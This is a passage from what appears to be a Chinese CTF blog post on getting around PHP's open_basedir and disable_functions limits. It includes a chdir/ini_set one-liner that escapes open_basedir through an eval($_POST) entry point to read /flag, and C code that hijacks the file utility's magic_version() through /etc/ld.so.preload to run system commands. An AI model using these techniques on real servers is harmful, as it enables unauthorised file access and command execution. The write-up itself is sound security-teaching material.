与上面一样都只能列出根目录下和open_basedir指定的目录下的文件

chdir() + ini_set()

你只能在open_basedir()所限制的范围中选择更详细的范围来设置

但这时就出现一个问题,任何一个目录下都有...这两个目录,通过 ini_set('open_basedir', '..') 的设置,就可以全区允许访问 .. 这个目录

例题

这种情况下通常disable_function只禁用了命令执行的函数,并且给出了eval()

error_reporting(0);
highlight_file(__FILE__);

eval($_POST[1]);

image-20231102163700318

首先肯定是有多种方法的,我们这里讲bypass open_basedir

image-20231102163759470

mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');print_r(scandir('.'));

要设置ini_set('open_basedir','/')才能访问/目录下的文件

mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/flag');

/etc/ld.so.preload (考察文件上传到/etc)

利用 /etc/ld.so.preload

简单来说/etc/ld.so.preloadLD_PRELOAD的默认配置文件,所以跟LD_PRELOAD的优先级一样

Linux 操作系统的动态链接库在加载过程中,动态链接器会先读取 LD_PRELOAD 环境变量和默认配置文件 /etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,因为它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。

file_check_res = subprocess.check_output(
	["/bin/file", "-b", filepath], 
	shell=False, 
	encoding='utf-8',
	timeout=1
)

查看 file 的源码 [https://github.com/file/file/blob/master/src/file.c

里面有个 magic_version () 函数,没有任何参数,我们可以劫持这个函数

跟LD_PRELOAD差不多,比如说mail(),然后在源码中找函数进行劫持

#include <stdlib.h>
#include <stdio.h>

void magic_version() {
    remove("/etc/ld.so.preload"); //without this, the exploit would recursively load .so
    system("whoami");
}
gcc exp.c -o exp.so -shared -fPIC

先上传so文件,然后/etc/ld.so.preload的内容为so文件的位置

image-20231123233111393


disable_function
https://zer0peach.github.io/2023/09/06/disable-function/
作者
Zer0peach
发布于
2023年9月6日
许可协议